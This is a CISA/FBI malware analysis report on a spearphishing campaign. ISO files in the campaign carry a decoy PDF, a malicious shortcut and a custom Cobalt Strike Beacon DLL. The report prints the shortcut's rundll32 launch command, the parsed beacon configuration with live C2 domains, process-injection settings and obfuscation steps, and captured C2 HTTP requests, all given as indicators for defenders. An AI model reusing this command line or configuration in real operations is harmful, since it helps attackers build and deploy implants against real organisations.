MAR 10339794-1.v1 – Cobalt Strike Beacon | CISA

Published: 2021-05-28 · Archived: 2026-04-05 23:16:31 UTC

Notification

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) to provide detailed analysis of three malicious ISO (optical disc image) files submitted to CISA. These malicious files are associated with a spearphishing campaign targeting government organizations, intergovernmental organizations, and non-governmental organizations using Constant Contact to spoof a U.S. Government organization and distribute links to malicious URLs.

Two of the ISO files submitted to CISA contain a dynamic-link library that is a custom Cobalt Strike Beacon loader, a Portable Document Format (PDF) file, which is displayed to the target as a decoy document, and a Microsoft shortcut that executes the Cobalt Strike beacon. The remaining file is corrupt and fails to extract PDF and LNK files. The two Cobalt Strike Beacon loaders contain the same encoded configuration data. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the attacker and checks for additional commands to execute on the compromised system.

CISA and FBI are distributing this MAR, which includes tactics, techniques, and procedures associated with this activity, to enable network defense and reduce exposure to this malicious activity. For more information, refer to the CISA Alert AA21-148A Sophisticated Actor Spearphishing Campaign Targets Government Organizations, IGOs, and NGOs.

For a downloadable copy of IOCs, see: MAR-10339794-1.v1.stix.

Submitted Files (7)

2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 (ICA-declass.iso)

48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 (Reports.lnk)

7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 (ICA-declass.pdf)

94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 (ICA-declass.iso)

d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 (ICA-declass.iso)

ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 (Documents.dll)

ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c (Documents.dll)

Domains (2)

theyardservice.com

worldhomeoutlet.com

Findings

2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252

Tags

dropper

Details

Name	ICA-declass.iso
Size	22085632 bytes
Type	UDF filesystem data (version 1.5) 'ICA_DECLASS'
MD5	cbc1dc536cd6f4fb9648e229e5d23361
SHA1	c1d5443f6f57f89bef76eb9e7c070f911954553b
SHA256	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
SHA512	5141f30a24ebbf180a9707de6fad8e730a28fa3396d3f06c0bda60c93f73fea8ad867446065ed170c326f26e0b69034b2ac2fd272ec3c59b82727
ssdeep	393216:fkU+ZCNKp+nzmrrascT2vZw/ORavIZ8D8wd1gAqL5v078owIgPtW9+6KPz0wr0Q1:M4DnzsGGsvIZi8AZqLNSqj6cz0K7q0t
Entropy	7.701745

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

2523f94bd4...	Contains	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
2523f94bd4...	Contains	7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673
2523f94bd4...	Contains	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0

Description

This is an ISO archive file that contains three files including a malicious DLL library named "Documents.dll" (ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c). This DLL has been identified as a custom Cobalt Strike Beacon Version 4 implant. The second file is a malicious shortcut file named "Reports.lnk" (48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0) that executes the custom Cobalt Strike Beacon loader. The third file, "ICA-declass.pdf", is a benign decoy PDF (7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673).

7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673

Details

Name	ICA-declass.pdf
Size	19782503 bytes
Type	PDF document, version 1.4 (password protected)
MD5	b40b30329489d342b2aa5ef8309ad388
SHA1	738c20a2cc825ae51b2a2f786248f850c8bab6f5
SHA256	7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673
SHA512	99319a4af803d4f5f03822ba287f8f26f771d7caad3159df5b84bc8eec67e1b638ad84f04895259876f4e8360970fecafc1bd0c9e5607d13d9140
ssdeep	393216:IkU+ZCNKp+nzmrrascT2vZw/ORavIZ8D8wd1gAqL5v078owIgPtW9+6KPz0wr0QO:d4DnzsGGsvIZi8AZqLNSqj6cz0K7q0tM
Entropy	7.998144

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PDF Metadata

Title	None
Subject	None
Author	None
Creator	Hewlett-Packard MFP
Producer	None
Creation Date	2021-03-16 12:56:18-04:00
Mod Data	2021-03-16 12:56:18-04:00

PDF String Count

Header	%PDF-1.4
obj	52
endobj	51
stream	32
endstream	32
xref	2
trailer	2
startxref	2
/Page	15
/Encrypt	0
/ObjStm	0
/JS	1
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	3
/RichMedia	0
/Launch	0
/EmbeddedFile	0
/XFA	0
/Colors > 2^24	0

Relationships

7d34f25ad8...	Contained_Within	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
7d34f25ad8...	Contained_Within	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916

Description

ICA-declass.pdf is a benign PDF decoy file contained within the ISO archive. This appears to be a copy of the declassified version of the Intelligence Community Assessment pursuant to Executive Order 13848 Section (1)(a), which is available at https://www.intelligence.gov/index.php/ic-on-the-record-database/results/1046-foreign-threats-to-the-2020-us-federal-elections-intelligence-community-assessment.

48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0

Details

Name	Reports.lnk
Size	1486 bytes
Type	MS Windows shortcut, Item id list present, Has command line arguments, Icon number=4, ctime=Wed Dec 31 23:59:59 1969, mtime=Wed 23:59:59 1969, atime=Wed Dec 31 23:59:59 1969, length=0, window=hide
MD5	dcfd60883c73c3d92fceb6ac910d5b80
SHA1	1cb1c2cd9f59d4e83eb3c950473a772406ec6f1a
SHA256	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
SHA512	d725d0005d8a013c750598d3f2039737f6dfd33a579915e7a1723f386cf2e38b7c490b1ad85a493b02519263ff0a29ed8a40ea902667b40a2e4f
ssdeep	12:8hXnm/3BVSXzM3WlllbdDvPywMYTvPCDiN33Y98SWi88:8c/BCllhdDv6wdvKaHYWi
Entropy	2.093090

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

48b5fb3fa3...	Contained_Within	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
48b5fb3fa3...	Contained_Within	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916
48b5fb3fa3...	Related_To	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
48b5fb3fa3...	Related_To	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330

Description

Report.lnk is a Microsoft shortcut (LNK) file. The file was contained within the ISO archive. The file "Report.lnk" displays a folder icon labeled "Reports" on the compromised system. The file contains the following data:

--Begin malicious shortcut data--
runll32.exe Documents.dll,Open%windir%/system32/shell32.dll
--End malicious shortcut data--

When executed, the shortcut will stealthily launch the Cobalt Strike implant named "Documents.dll" (ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c or ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330).

ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c

Tags

trojan

Details

Name	Documents.dll
Size	1737728 bytes
Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5	7edf943ed251fa480c5ca5abb2446c75
SHA1	1380d7c44efde64f471ae70563372efe18f43026
SHA256	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
SHA512	9c84e4184798bdd06a4f6128242f2e7d2b8840cbf0639cd917c023bd22de3b7c2d98d072608106a94875a9655bcf1117fb3f1d0a2557cfda9b1b
ssdeep	6144:T22r1g93MFP1WWgs+oht05tnCCRem/V9FkkKdKb+/++9GIyRv9QTaq+D/aYndvKF:T2+g9KzkoEtVcKb+/+EzD+7aJ
Entropy	2.144987

Antivirus

BitDefender	Trojan.GenericKD.46360875
ESET	a variant of Win64/Rozena.KA trojan
Emsisoft	Trojan.GenericKD.46360875 (B)
Ikarus	Trojan.Win64.Rozena

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-04-27 14:27:02-04:00
Import Hash	042c6b16f932b7d83d864033b4c9bf27

PE Sections

MD5	Name	Raw Size	Entropy
2737834f2ef34dc429a7ca5634454d08	header	1024	3.007590
5d32cb386f61f62b4265c621e52b5870	.text	81408	6.449170
023bcf34752191bd249f2abfac339cf6	.rdata	55808	5.044293
2a7d1951ddc821aded735b43b63ddd51	.data	1592320	1.640778
251fe4f11cc161fd4290e61e146e9d2f	.pdata	4608	5.024657
f34220b14577ddd51cd0bce45da457d8	.rsrc	512	4.711413
b84914ab6f20a711de871aa00d835f5d	.reloc	2048	4.894250

Relationships

ee44c0692f...	Contained_Within	2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
ee44c0692f...	Contained_Within	d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142
ee44c0692f...	Related_To	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
ee44c0692f...	Connected_To	theyardservice.com
ee44c0692f...	Connected_To	worldhomeoutlet.com

Description

This file is a 64-bit DLL file identified as a custom Cobalt Strike Beacon Version 4 implant. The DLL was contained within the ISO archive file "ICA-declass.iso" (2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252). The encoded configuration data for the implant is illustrated in Figure 1. The configuration file contains the hard-coded C2s, communication protocol, and an implant watermark. The configuration file is encoded via an XOR with the key 0x2e and a 16-bit byte swap. The parsed configuration file for the Cobalt Beacon implant is displayed below:

```
--Begin configuration data--
BeaconType                - Not Found
Port                      - 187
SleepTime                 - Not Found
MaxGetSize                - Not Found
Jitter                    - Not Found
MaxDNS                    - Not Found
PublicKey_MD5             - Not Found
C2Server                  - dataplane.theyardservice[.]com,/jquery-3.3.1.min.woff2,cdn.theyardservice[.]com,/jquery-
3.3.1.min.woff2,static.theyardservice[.]com,/jquery-3.3.1.min.woff2,worldhomeoutlet[.]com,/jquery-3.3.1.min.woff2
UserAgent                 - Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
HttpPostUri               - /jquery-3.3.2.min.woff2
Malleable_C2_Instructions     - Remove 1522 bytes from the end
                              Remove 84 bytes from the beginning
                              Remove 3931 bytes from the beginning
                              Base64 URL-safe decode
                              XOR mask w/ random key
HttpGet_Metadata              - Metadata
                                mask
                                base64url
                                prepend "_cfuid="
                                header "Cookie"
HttpPost_Metadata             - SessionId
                                mask
                                base64url
                                parameter "_cfuid"
                              Output
                                mask
                                base64url
                                print
PipeName                  - Not Found
DNS_Idle                  - Not Found
DNS_Sleep                 - Not Found
SSH_Host                  - Not Found
SSH_Port                  - Not Found
SSH_Username              - Not Found
SSH_Password_Plaintext    - Not Found
SSH_Password_Pubkey       - Not Found
SSH_Banner                -
HttpGet_Verb              - GET
HttpPost_Verb             - POST
HttpPostChunk             - 0
Spawnto_x86               - %windir%\syswow64\dllhost.exe
Spawnto_x64               - %windir%\sysnative\dllhost.exe
CryptoScheme              - 0
Proxy_Config              - Not Found
Proxy_User                - Not Found
Proxy_Password            - Not Found
Proxy_Behavior            - Use IE settings
Watermark                 - 1359593325
bStageCleanup             - True
bCFGCaution               - False
KillDate                  - 0
bProcInject_StartRWX      - False
bProcInject_UseRWX        - False
bProcInject_MinAllocSize  - 0
ProcInject_PrependAppend_x86  -
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
```

Empty
ProcInject_PrependAppend_x64 -
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
Empty
ProcInject_Execute - ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - NtMapViewOfSection
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - Not Found
DNS_strategy_rotate_seconds - Not Found
DNS_strategy_fail_x - Not Found
DNS_strategy_fail_seconds - Not Found
--End configuration data--

The hard-coded C2s include the following:

--Begin C2s--
dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2
cdn.theyardservice[.]com/jquery-3.3.1.min.woff2
static.theyardservice[.]com/jquery-3.3.1.min.woff2
worldhomeoutlet[.]com/jquery-3.3.1.min.woff2
--End C2s--

Screenshots

Figure 1 - Encoded configuration data for the Cobalt Strike Beacon.

theyardservice.com

Tags

command-and-control

URLs

- cdn.theyardservice.com/jquery-3.3.1.min.woff2
- dataplane.theyardservice.com/jquery-3.3.1.min.woff2
- static.theyardservice.com/jquery-3.3.1.min.woff2

HTTP Sessions

- GET /jquery-3.3.1.min.woff2 HTTP/1.1
  Accept: */*
  Cookie: _cfuid=CyjkRTGjxcCHL55z9nLYj6lHHepbtmpw9qe0iAb1dHIDbpULhTse_mJUxk3c5-JpXlZu21ZsnBcxzblX_Ab6hesCQ13I5bwHN1f_IimQWV9ErSSRQ088efe2m_IykB8KQoilJAKqjx89lORFW8kHTRNLfEKqk8gOZKdAHkMLv
  User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
  Host: cdn.theyardservice[.]com
  Connection: Keep-Alive
  Cache-Control: no-cache
- GET /jquery-3.3.1.min.woff2 HTTP/1.1
  Accept: */*
  Cookie: _cfuid=MF5n5QrVRmC8WR3TzQRbL5IxnkpgwOnQzdE3KD2D99I4GBarvk2dXlkiRe3nkWHJZSDte20aH7cKuzr3x3B5JdB0wP3zkz-nDCF8ghLm2v9_26cxeDm_2czAGFIJ5pyqef4mhDncDL8G4mflYL-E7Sg9_-KR5UuuX9HDvnh9PqOGA4jx

User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Host: static.theyardservice[.]com
Connection: Keep-Alive
Cache-Control: no-cache

- GET /jquery-3.3.1.min.woff2 HTTP/1.1
  Accept: */*
  Cookie: _cfuid=bvKtwVR5jETi9df3k6iRC8ydVG4-bCP0k339DGMvPfZmtNyP4OFXegeOj8m5PavtO4wnXzO21ZNUF_DTmdyzAY7YCtmtP_WDUo22pkxKENshd20VJpV1_ZJs0nZXSlaOJ1Lso
  User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
  Host: dataplane.theyardservice[.]com
  Connection: Keep-Alive
  Cache-Control: no-cache

Whois

Domain name: theyardservice.com
Registry Domain ID: 1583241583_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2021-03-31T13:16:35.65Z
Creation Date: 2010-01-27T02:26:05.00Z
Registrar Registration Expiration Date: 2023-01-27T02:26:05.00Z
Registrar: NAMECHEAP INC
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Withheld for Privacy Purposes
Registrant Organization: Privacy service provided by Withheld for Privacy ehf
Registrant Street: Kalkofnsvegur 2
Registrant City: Reykjavik
Registrant State/Province: Capital Region
Registrant Postal Code: 101
Registrant Country: IS
Registrant Phone: +354.4212434
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: 2c839fd1b7284a55b8204adbf86e09f6.protect@withheldforprivacy.com
Registry Admin ID:
Admin Name: Withheld for Privacy Purposes
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Street: Kalkofnsvegur 2
Admin City: Reykjavik
Admin State/Province: Capital Region
Admin Postal Code: 101
Admin Country: IS
Admin Phone: +354.4212434
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: 2c839fd1b7284a55b8204adbf86e09f6.protect@withheldforprivacy.com
Registry Tech ID:
Tech Name: Withheld for Privacy Purposes
Tech Organization: Privacy service provided by Withheld for Privacy ehf
Tech Street: Kalkofnsvegur 2
Tech City: Reykjavik
Tech State/Province: Capital Region
Tech Postal Code: 101
Tech Country: IS
Tech Phone: +354.4212434
Tech Phone Ext:

Tech Fax:
Tech Fax Ext:
Tech Email: 2c839fd1b7284a55b8204adbf86e09f6.protect@withheldforprivacy.com
Name Server: dns1.registrar-servers.com
Name Server: dns2.registrar-servers.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships

theyardservice.com	Connected_From	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
theyardservice.com	Connected_From	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330

Description

Cobalt Strike Beacon DLL files "Documents.dll"
(ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c and
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330) attempt to connect to the domain.

worldhomeoutlet.com

Tags

command-and-control

URLs

- worldhomeoutlet.com/jquery-3.3.1.min.woff2

HTTP Sessions

- GET /jquery-3.3.1.min.woff2 HTTP/1.1
  Accept: */*
  Cookie:
  _cfuid=QA9ir3qEQyrMCBiZvVVeZeJgmwAQkeyavYAyYk3S8phISRPhzhyYFClzQKeXwGSDFXHoMR1LGv166j-9tyF8b6AlxbeDwjrtfHB5yGK337UPiqJ7CGi6k7yRHRh5t5ngCa8jzkmNCfV2s2KvEO6Bp1hs-qjhtE7kL4DG9AgsO-n2Uo27
  User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
  Host: worldhomeoutlet[.]com
  Connection: Keep-Alive
  Cache-Control: no-cache

Whois

Domain name: worldhomeoutlet.com
Registry Domain ID: 2502265423_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2021-02-17T11:58:31.52Z
Creation Date: 2020-03-11T14:24:03.00Z
Registrar Registration Expiration Date: 2022-03-11T14:24:03.00Z
Registrar: NAMECHEAP INC
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Withheld for Privacy Purposes
Registrant Organization: Privacy service provided by Withheld for Privacy ehf
Registrant Street: Kalkofnsvegur 2
Registrant City: Reykjavik
Registrant State/Province: Capital Region
Registrant Postal Code: 101
Registrant Country: IS

Registrant Phone: +354.4212434
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: 20cbb705384240169438l9fe8eadaddc.protect@withheldforprivacy.com
Registry Admin ID:
Admin Name: Withheld for Privacy Purposes
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Street: Kalkofnsvegur 2
Admin City: Reykjavik
Admin State/Province: Capital Region
Admin Postal Code: 101
Admin Country: IS
Admin Phone: +354.4212434
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: 20cbb70538424016943819fe8eadaddc.protect@withheldforprivacy.com
Registry Tech ID:
Tech Name: Withheld for Privacy Purposes
Tech Organization: Privacy service provided by Withheld for Privacy ehf
Tech Street: Kalkofnsvegur 2
Tech City: Reykjavik
Tech State/Province: Capital Region
Tech Postal Code: 101
Tech Country: IS
Tech Phone: +354.4212434
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: 20cbb70538424016943819fe8eadaddc.protect@withheldforprivacy.com
Name Server: dns1.registrar-servers.com
Name Server: dns2.registrar-servers.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships

worldhomeoutlet.com	Connected_From	ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
worldhomeoutlet.com	Connected_From	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330

Description

Cobalt Strike Beacon DLL files "Documents.dll" (ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c and ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330) attempt to connect to the domain.

94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916

Tags

dropper

Details

Name	ICA-declass.iso
Size	22085632 bytes
Type	UDF filesystem data (version 1.5) 'ICA_DECLASS'
MD5	29e2ef8ef5c6ff95e98bff095e63dc05
SHA1	bf7b36c521e52093360a4df0dd131703b7b3d648
SHA256	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916

SHA512	99c90941405628ce989a4bb8683f052450d22b25c9f3aeda21b0086ba9f0b67d67a21536ae1b0a000eef006024e714f78b32b3626e99c3ad0c9a
ssdeep	393216:UkU+ZCNKp+nzmrrascT2vZw/ORavIZ8D8wd1gAqL5v078owIgPtW9+6KPz0wr0Q1:x4DnzsGGsvIZi8AZqLNSqj6cz0K7q0t
Entropy	7.703418

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

94786066a6...	Contains	7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673
94786066a6...	Contains	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
94786066a6...	Contains	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330

Description

This file is an ISO archive file containing three files including a malicious DLL library named "Documents.dll" (ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330). This DLL application has been identified as a custom Cobalt Strike Beacon Version 4 implant. The second file is a malicious shortcut file named "Reports.lnk" (48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0). The shortcut executes the custom Cobalt Strike Beacon loader. The third file, "ICA-declass.pdf", is a benign decoy PDF (7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673).

ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330

Tags

trojan

Details

Name	Documents.dll
Size	1747968 bytes
Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5	1c3b8ae594cb4ce24c2680b47cebf808
SHA1	1fb12e923bdb71a1f34e98576b780ab2840ba22e
SHA256	ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330
SHA512	2917e5a1ecfa4343f0de204804487db368371b10b9ae3cc2ebc7e1da74c679c1ef198c2c183572f537fed7c1bc8c7183513fcadf6dcad3749bc40
ssdeep	6144:GBv2rCsfI34JBE8LCiohg05tnCCRem/V9FkkKdKb+/++9GIyRv9QTaq+D/aYndvj:GBurzfI2B9roDtVcKb+/+EzD+7aJ
Entropy	2.177087

Antivirus

BitDefender	Gen:Variant.Razy.872798
Cyren	W64/Trojan2.QXAH
ESET	a variant of Win64/Rozena.KA trojan
Emsisoft	Gen:Variant.Razy.872798 (B)

Ikarus	Trojan.Win64.Rozena

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-04-27 14:24:28-04:00
Import Hash	844c8136867966b00afa26206439e6ff

PE Sections

MD5	Name	Raw Size	Entropy
7d43d5e4810891d60b6c1cfe53c65bda	header	1024	2.863431
0ec5565defffef0494210cd746adb072	.text	91648	6.404547
d5be4f214547e473abb5af81438017fa	.rdata	55808	5.068392
64f4595113032e066dfcf5791dc377da	.data	1592320	1.640945
32029ef6b1f438ceea676490a1afa4d8	.pdata	4608	5.070921
b19c0e4b63d9d9892e1e291e7dcb7fd7	.rsrc	512	4.719348
1819f7d3592f9bbf795bc7902ffa7fed	.reloc	2048	4.886504

Relationships

ee42ddacbd...	Contained_Within	94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916
ee42ddacbd...	Related_To	48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
ee42ddacbd...	Connected_To	theyardservice.com
ee42ddacbd...	Connected_To	worldhomeoutlet.com

Description

This file is a 64-bit DLL file identified as a custom Cobalt Strike Beacon Version 4 implant. The DLL was contained within the ISO file "ICA-declass.iso" (94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916). The encoded configuration data for the implant is illustrated in Figure 1. The configuration file contains the hard-coded C2s, communication protocol, and an implant watermark. The configuration file is encoded via an XOR with the key 0x2e and a 16-bit byte swap. The parsed configuration file for the Cobalt Beacon implant is displayed below:

--Begin configuration data--
BeaconType - Not Found
Port - 187
SleepTime - Not Found
MaxGetSize - Not Found
Jitter - Not Found
MaxDNS - Not Found
PublicKey_MD5 - Not Found
C2Server - dataplane.theyardservice.com,/jquery-3.3.1.min.woff2,cdn.theyardservice.com,/jquery-3.3.1.min.woff2,static.theyardservice.com,/jquery-3.3.1.min.woff2,worldhomeoutlet.com,/jquery-3.3.1.min.woff2
UserAgent - Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
HttpPostUri - /jquery-3.3.2.min.woff2
Malleable_C2_Instructions - Remove 1522 bytes from the end
Remove 84 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key

```
HttpGet_Metadata            - Metadata
                        mask
                        base64url
                        prepend "_cfuid="
                        header "Cookie"
HttpPost_Metadata           - SessionId
                        mask
                        base64url
                        parameter "_cfuid"
                    Output
                        mask
                        base64url
                        print
PipeName                    - Not Found
DNS_Idle                    - Not Found
DNS_Sleep                   - Not Found
SSH_Host                    - Not Found
SSH_Port                    - Not Found
SSH_Username                - Not Found
SSH_Password_Plaintext      - Not Found
SSH_Password_Pubkey         - Not Found
SSH_Banner                  -
HttpGet_Verb                - GET
HttpPost_Verb               - POST
HttpPostChunk               - 0
Spawnto_x86                 - %windir%\syswow64\dllhost.exe
Spawnto_x64                 - %windir%\sysnative\dllhost.exe
CryptoScheme                - 0
Proxy_Config                - Not Found
Proxy_User                  - Not Found
Proxy_Password              - Not Found
Proxy_Behavior              - Use IE settings
Watermark                   - 1359593325
bStageCleanup               - True
bCFGCaution                 - False
KillDate                    - 0
bProcInject_StartRWX        - False
bProcInject_UseRWX          - False
bProcInject_MinAllocSize    - 0
ProcInject_PrependAppend_x86    -
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                    Empty
ProcInject_PrependAppend_x64    -
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                    Empty
ProcInject_Execute          - ntdll:RtlUserThreadStart
                        CreateThread
                        NtQueueApcThread-s
                        CreateRemoteThread
                        RtlCreateUserThread
ProcInject_AllocationMethod    - NtMapViewOfSection
bUsesCookies                - True
HostHeader                  -
headersToRemove             - Not Found
DNS_Beaconing               - Not Found
DNS_get_TypeA               - Not Found
DNS_get_TypeAAAA            - Not Found
DNS_get_TypeTXT             - Not Found
DNS_put_metadata            - Not Found
DNS_put_output              - Not Found
DNS_resolver                - Not Found
DNS_strategy                - Not Found
DNS_strategy_rotate_seconds    - Not Found
DNS_strategy_fail_x         - Not Found
```

DNS_strategy_fail_seconds - Not Found
--End configuration data--

The hard-coded C2s include the following:

--Begin C2s--
dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2
cdn.theyardservice[.]com/jquery-3.3.1.min.woff2
static.theyardservice[.]com/jquery-3.3.1.min.woff2
worldhomeoutlet[.]com/jquery-3.3.1.min.woff2
--End C2s--

d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142

Tags

dropper

Details

Name	ICA-declass.iso
Size	10485447 bytes
Type	UDF filesystem data (version 1.5) 'ICA_DECLASS'
MD5	ebe2f8df39b4a94fb408580a728d351f
SHA1	251fa6cafd4f4d26fe97630834aa7d3f5543f886
SHA256	d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142
SHA512	c18f88763383abd5bee0ad3804acfbfa3bfe11d4643190e63b97007adb2aa058c5cf316f8625680b8f68e7af865604eafe887b48f5889614f7edb1
